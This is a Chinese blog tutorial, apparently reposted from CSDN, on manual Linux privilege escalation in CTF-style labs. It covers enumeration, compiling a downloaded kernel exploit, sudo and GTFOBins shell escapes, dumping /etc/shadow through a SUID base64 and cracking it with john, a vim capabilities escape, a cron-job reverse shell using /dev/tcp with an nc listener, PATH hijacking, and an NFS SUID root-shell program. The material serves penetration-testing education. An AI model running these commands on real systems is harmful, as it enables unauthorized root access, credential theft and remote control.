Linux手动提权,万字基础详细教程以及经验分享

什么是权限提升

权限提升通常涉及从较低权限的帐户到较高权限的帐户。从技术上讲,它是利用操作系统或应用程序中的漏洞、设计缺陷或配置疏忽来获得对通常禁止用户访问的资源的未经授权的访问。

为什么如此重要?

权限提升至关重要,因为它可以让你获得系统管理员级别的访问权限,从而可以执行以下操作:

重置密码
绕过访问控制以破坏受保护的数据
编辑软件配置
更改现有(或新)用户的权限
执行任何管理命令

手动枚举

现在我成功的拿到了服务器的shell,但是只是一个普通用户的shell
在这里插入图片描述
枚举是你访问任何系统后必须采取的第一步,通过搜集本地主机上的各种信息,来达到提权的目的

hostname

hostname

在这里插入图片描述
该命令将返回目标机器的主机名,在某些情况下,它可以提供有关目标系统在公司网络中的角色的信息(例如用于 SQL 服务器的 SQL-PROD-01)

uname -a

uname -a

在这里插入图片描述
输出系统信息,为我们提供有关系统内核的详细信息。搜索内核漏洞时非常有用。

searchsploit 内核版本

在这里插入图片描述

locate 文件所在的地址

在这里插入图片描述
可以将此文件copy到桌面上,直接使用

/proc/version

cat /proc/version

在这里插入图片描述
proc 文件系统 (procfs) 提供有关目标系统进程的信息。可以在许多不同Linux系统上找到 proc
查看/proc/version可能会为您提供有关内核版本和其他数据的信息,例如是否安装了编译器(例如 GCC)

/etc/issue

cat /etc/issue

在这里插入图片描述
系统也可以通过查看/etc/issue文件来识别。该文件通常包含有关操作系统的一些信息

ps

ps

这个命令是查看 Linux 系统上正在运行的进程
ps 将显示以下内容:

PID:进程ID(进程唯一)
TTY:用户使用的终端类型
时间:进程使用的 CPU 时间量(这不是该进程运行的时间)
CMD:正在运行的命令或可执行文件(不会显示任何命令行参数)

在这里插入图片描述

ps -A: 查看所有正在运行的进程
ps axjf:查看进程树

我常用的是这个命令:

ps -aux 

该aux 选项将显示所有用户的进程 (a),显示启动进程的用户 (u),并显示未连接到终端的进程 (x)。查看 ps aux 命令输出,我们可以更好地了解系统和潜在的漏洞
在这里插入图片描述

env

env

该命令将显示环境变量
在这里插入图片描述
PATH 变量可能具有编译器或脚本语言(例如 Python),可用于在目标系统上运行代码或用于权限提升。

sudo -l

sudo -l

目标系统可以配置为允许普通用户以 root 权限运行一些(或全部)命令。该sudo -l 命令可用于列出当前用户可以使用运行的所有命令
在这里插入图片描述

ls

ls -al

ls命令是显示当前文件夹里的文件
-al参数是显示当前文件夹里所有的文件,包括隐藏文件
在这里插入图片描述

id

id

id 命令将提供用户权限级别和组成员身份的一般概述
在这里插入图片描述
该id 命令还可用于为另一个用户获取相同的信息,如下所示

id 用户名

在这里插入图片描述

/etc/passwd

读取/etc/passwd文件是发现系统上所有用户的一种简单方法

cat /etc/passwd

在这里插入图片描述
我们可以筛选一下,使输出更简洁,也可以用于暴力破解

cat /etc/passwd | cut -d ":" -f 1

在这里插入图片描述
其中一些是不会很有用的系统或服务用户。另一种方法可能是使用 grep 查找“home”,因为真实用户很可能将他们的文件夹放在“home”目录下

cat /etc/passwd | grep "home"

在这里插入图片描述

history

使用命令查看当前用户较早的执行过的命令,可以让我们对目标系统有所了解
在这里插入图片描述

ifconfig

目标系统可能是另一个网络的中转点。该ifconfig 命令将为我们提供有关系统网络接口的信息。下面的示例显示目标系统具有三个接口(eth0、tun0 和 tun1)。我们的攻击机可以到达eth0接口但不能直接访问另外两个网络
在这里插入图片描述

ip route

可以使用ip route 命令来确认,以查看存在哪些网络路由。
在这里插入图片描述

netstat

在对现有接口和网络路由进行初步检查之后,该研究现在主机的通信。该netstat命令可以与几个不同的选项一起使用,以收集有关现有连接的信息。

netstat -a:显示所有监听端口和已建立的连接。
netstat -at或者 netstat -au也可以用来分别列出TCP或 UDP 协议。
netstat -l:以“监听”模式列出端口。这些端口已打开并准备好接受传入连接。这可以与“t”选项一起使用,以仅列出使用 TCP 协议侦听的端口
netstat -s:按协议列出网络使用统计信息(如下) 这也可以与-t or-u 选项一起使用,以将输出限制为特定协议
netstat -tp: 列出服务名称和 PID 信息的连接
netstat -i:显示接口统计信息

我常用的是:

netstat -lentup

在这里插入图片描述
可以查看本地tcp和udp开放和连接的端口

find

在目标系统中搜索重要信息和提权可能会很有用

find . -name flag1.txt: 在当前目录中找到名为“flag1.txt”的文件
find /home -name flag1.txt: 在 /home 目录中找到文件名“flag1.txt”
find / -type d -name config: 在“/”下找到名为config的目录
find / -type f -perm 0777:查找具有777权限的文件(所有用户可读、可写和可执行的文件)
find / -perm a=x: 查找可执行文件
find /home -user frank: 在“/home”下查找用户“frank”的所有文件
find / -mtime 10: 查找最近 10 天内修改过的文件
find / -atime 10: 查找过去 10 天内访问过的文件
find / -cmin -60: 查找在过去一小时(60 分钟)内更改的文件
find / -amin -60: 查找最近一小时(60 分钟)内的文件访问
find / -size 50M: 查找大小为 50 MB 的文件

此命令还可以与 (+) 和 (-) 符号一起使用,以指定大于或小于给定大小的文件

find / -size + 100M

在这里插入图片描述
但这个阅读起来有点麻烦,我们可以用“-type f 2>/dev/null”的“find”命令将错误重定向到“/dev/null”并获得更清晰的输出

find / -size + 100M -type f 2>/del/null

在这里插入图片描述
查找对应权限的文件:

find / -perm -o x -type d 2>/dev/null : 查找可执行文件夹
find / -perm -o w -type d 2>/dev/null: 查找可写文件夹

查找开发工具和支持的语言:

find / -name perl*
find / -name python*
find / -name gcc*

查找特定文件权限:
这个是我提权经常用的命令,关于什么是suid位,下面实战有详细介绍

find / -perm -u=s -type f 2>/dev/null: 查找带有 SUID 位的文件,它允许我们以比当前用户更高的权限级别运行文件。

在这里插入图片描述

自动化枚举工具

这里我列举一个常用的枚举脚本

LinPeas

https ://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

下载好后,将此脚本放到/var/www/html目录下
在这里插入图片描述
启动apache服务

service apache2 start

在这里插入图片描述
回到靶机,移动到/tmp目录下,因为tmp目录默认运行任何用户都可以在里面执行文件,然后下载此脚本

cd /tmp
wget http://ip/linpeas.sh

在这里插入图片描述
赋予文件执行权限,然后执行

chmod +x linpeas.sh
./linpeas.sh

在这里插入图片描述
在这里插入图片描述
我们可以看到,sudo命令和linux内核都有漏洞,并且还指明了cve的编号,非常方便
之后还有一大堆东西,大家有兴趣可以自己慢慢看,我们主要还是利用这两个漏洞提权

内核利用提权

内核利用方法很简单:

识别内核版本
搜索并找到目标系统内核版本的漏洞利用代码
运行漏洞利用

我们拿到shell后,发现只是一个普通用户,而且也不能进入root目录
在这里插入图片描述

方法一:手动枚举提权

我们查询一下机子有没有内核漏洞

uname -a

在这里插入图片描述
在漏洞库里搜索一下
在这里插入图片描述
发现了一个本地提权的漏洞
我们将这个exp复制到当前目录

locate linux/local/37292.c
cp /usr/share/exploitdb/exploits/linux/local/37292.c ./

在这里插入图片描述
在这里插入图片描述
我们查看一下漏洞说明

searchsploit -x linux/local/37292.c

在这里插入图片描述
这里将此漏洞说的很详细,这是漏洞利用操作:

user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs

这里可以看到,我们将此exp上传到机子上,使用gcc编译一下然后运行就能拿到root权限了
按q退出,开启apache服务

service apache2 start

在这里插入图片描述
将此exp移动到/var/www/html目录下

mv 37292.c /var/www/html

在这里插入图片描述
回到靶机上,移动到tmp目录下,然后我们下载此exp

cd /tmp
wget http://kaliIP/37292.c

在这里插入图片描述
gcc编译一下这个c文件

gcc 37292.c -o exp      //-o:输出的文件名

在这里插入图片描述
赋予exp执行的权限,然后运行编译后的文件

chmod +x exp
./exp

在这里插入图片描述
我们成功的拿到了root权限

方法二:自动化枚举提权

我们将自动化枚举的脚本放到/var/www/html目录下
在这里插入图片描述
开启apache服务

service apache2 start

回到靶机,移动到tmp目录下,下载此脚本

cd /tmp
wget http://kaliIP/linpeas.sh

在这里插入图片描述
赋予脚本执行权限后执行

chmod +x linpeas.sh
./linpeas.sh

在这里插入图片描述
在这里可以看到机子内核存在漏洞
在这里插入图片描述
我们上google,搜索关键词如下:

Linux 3.13.0 exploit

在这里插入图片描述
点开第一个,可以看到漏洞的详细信息
在这里插入图片描述
下载exp
在这里插入图片描述
在这里插入图片描述
然后将此文件放到kali的/var/www/html目录下,然后操作和第一步一模一样
下载,编译,赋予权限,执行,提权成功
在这里插入图片描述

总结

内核提权,通过搜索自己的内核版本,然后在网上搜索对应版本的漏洞来提权

sudo提权

sudo 命令可以以root 权限运行程序
任何用户都可以使用该命令检查与 root 权限相关的当前情况:

sudo -l

在这里插入图片描述
这里可以看到,我们可以使用 sudo运行find,less和nano命令
此网站是我提权常用的网站,可以以各种方法提权

https://gtfobins.github.io/

find命令提权

我们搜索find命令,然后进入此页面
在这里插入图片描述
我们使用以下命令就能提权:

find . -exec /bin/sh \; -quit

在这里插入图片描述

less命令提权

在网站上搜索less命令,进入此页面
在这里插入图片描述

我们使用以下命令就能提权:

less /etc/profile
!/bin/sh

在这里插入图片描述
在这里插入图片描述
回车
在这里插入图片描述

总结

以此类推,通过sudo -l 查看当前用户能以sudo运行什么命令,然后去网站上搜索能运行的命令,根据网站上的教程来提权

https://gtfobins.github.io/

SUID提权

什么是setuid?

setuid代表设置用户身份,并且setuid设置调用进程的有效用户ID,用户运行程序的uid与调用进程的真实uid不匹配

这么说起来有点绕,我们来举一个例子

一个要以root权限运行的程序,但我们想让普通用户也能运行它,但又要防止该程序被攻击者利用,这里就需要用的setuid了

演示
我们用user用户运行一个vim
然后新开一个窗口查看后台进程

ps -aux

在这里插入图片描述
这里可以看到,我们的vim正在以user的权限运行中,然后我们去执行一下靶机上的setuid文件看看
在这里插入图片描述
这里可以看到,我们虽然是user用户,但执行文件后,文件正以root权限运行
我们查看文件的权限
在这里插入图片描述
r代表读,w代表写,x代表执行,那s是什么呢

s替换了以x的可执行文件,这被称为setuid位,根据刚刚的操作,应该知道了s是做什么的

当这个位被user权限的用户执行时,linux实际上是以文件的创造者的权限运行的,在这种情况下,它是以root权限运行的

发现suid文件

我们使用以下命令列出机子上的suid文件:

find / -type f -perm -04000 -ls 2>/dev/null

在这里插入图片描述
在这里插入图片描述
我们可以以root权限执行base64命令

base64 /etc/shadow | base64 --decode

我们加密一个文件内容后,再解密显示出来,不就是读取任意文件了
在这里插入图片描述
将此文档内容复制下来后,我们可以用john爆破密码

john爆破账号密码

在这里插入图片描述
保存后使用john

john --wordlist=/usr/share/wordlists/rockyou.txt hash

在这里插入图片描述
这里我们爆破了三个用户的账号密码,我们可以一个一个登录上去,继续提权到root用户

或者我们直接读flag文件

find / -name “flag*.*”

在这里插入图片描述
这里我们直接cat文件是没有权限的,我们使用以下命令

base64 /home/ubuntu/flag3.txt | base64 --decode

在这里插入图片描述
我们可以直接看到文件里的内容

总结

suid提权,主要还是熟悉各种命令的使用,通过某个能以root权限运行的命令来想办法提权

Capabilities提权

Capabilities为root进行更加细粒度的划分。如果进程不是特权进程,而且也没有root的有效id,系统就会去检查进程的capabilities,来确认该进程是否有执行特权操作的的权限。
我们使用以下命令来列出启用Capabilities的工具

getcap -r / 2>/dev/null

在这里插入图片描述
我们可以看到,vim启用了capabilities,它被赋予了cap_setuid+ep
我们去搜索vim的提权方法

https://gtfobins.github.io/

搜索vim,进入以下页面
在这里插入图片描述
在这里插入图片描述

可以看到,我们直接使用以下命令就能提升到root权限

./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

在这里插入图片描述

总结

这个和suid的提权方法差不多,通过查看开启capabilities的工具,然后去网站上搜索对应的提权方法

cron jobs 提权

Cron jobs是存放特定时间运行脚本或二进制程序的文件
任何用户都可以阅读保存的 cron jobs的文件:

cat /etc/crontab

在这里插入图片描述
在这里插入图片描述
我们可以看到有一个奇怪的脚本一直在以root权限运行,脚本名字为backup.sh,而且我们也可以修改此脚本,我们写一个简单的回连shell

bash -i >& /dev/tcp/IP/PORT 0>&1

在这里插入图片描述
保存后回到kali,使用nc监听本地的4444端口

nc -nvlp 4444

等了一会,就有一个shell连接过来
在这里插入图片描述

总结

如果无法写入文件,可以看一下cron运行的脚本内容,根据运行的工具来提权,比如tar,zip什么的

PATH提权

如果当前用户具有写入权限的文件夹位于路径中,那可以劫持应用程序来运行脚本
在这里插入图片描述
我们可以看到当前目录下有两个文件,都是root用户创建的,其中,test是suid文件,thm.py会执行thm文件里的内容
我们无法运行thm.py,我们运行test程序看看
在这里插入图片描述
他显示未找到thm,结合thm.py的内容,我们可以猜测,这个文件源代码和thm.py的很相似
我们可以自己创建thm文件,因为test是suid文件,我们可以直接拿到root权限

echo "/bin/bash" > thm
chmod 777 thm
export PATH=/home/murdoch:$PATH   //将环境变量设置为当前文件夹,这样程序查找thm就只能找到我们创建的那个文件

在这里插入图片描述
运行test程序
在这里插入图片描述
我们成功拿到了root权限

NFS提权

特权升级向量并不局限于内部访问。共享文件夹也可以获取目标系统的 root 访问权限
NFS(网络文件共享)配置保存在 /etc/exports 文件中

cat /etc/exports

在这里插入图片描述
可以看到,这台主机共享了三个文件夹,在上面看到的“no_root_squash”选项。默认情况下,NFS 会将 root 用户更改为 nfsnobody 并剥夺任何文件以 root 权限操作。如果可写共享上存在“no_root_squash”选项,我们可以创建一个设置了 SUID 位的可执行文件并在目标系统上运行它
回到kali,我们查看目标主机开放的文件夹

showmount -e IP

在这里插入图片描述
我们在tmp目录下创建一个文件夹来挂载这些文件夹

cd /tmp
mkdir test
mount -o rw IP:/tmp /tmp/test

然后我们进入test文件夹,创建一个文件

cd test
mkdir test

在这里插入图片描述
在这里插入图片描述
可以看到,目标靶机的tmp目录下也多了一个test文件
回到kali,我们可以创建一个suid文件,运行就能获得root权限

touch exp.c
#include <stdio.h>
#include <stdlib.h>

int main()
{
   setgid(0);
   setuid(0);
   system("/bin/bash");
   return 0;
}

然后gcc编译此文件,然后赋予此文件suid权限

gcc exp.c -o exp
chmod +s exp

在这里插入图片描述
回到靶机,我们运行此文件
在这里插入图片描述
成功拿到root权限

总结

提权需要详细的收集目标机子上的信息,然后根据我上面总结的方法来慢慢提权,这篇文章是我学习中的笔记,和本人的提权经验,有什么不会的就问我,qq:3316735898

猜你喜欢

转载自blog.csdn.net/qq_45894840/article/details/125088995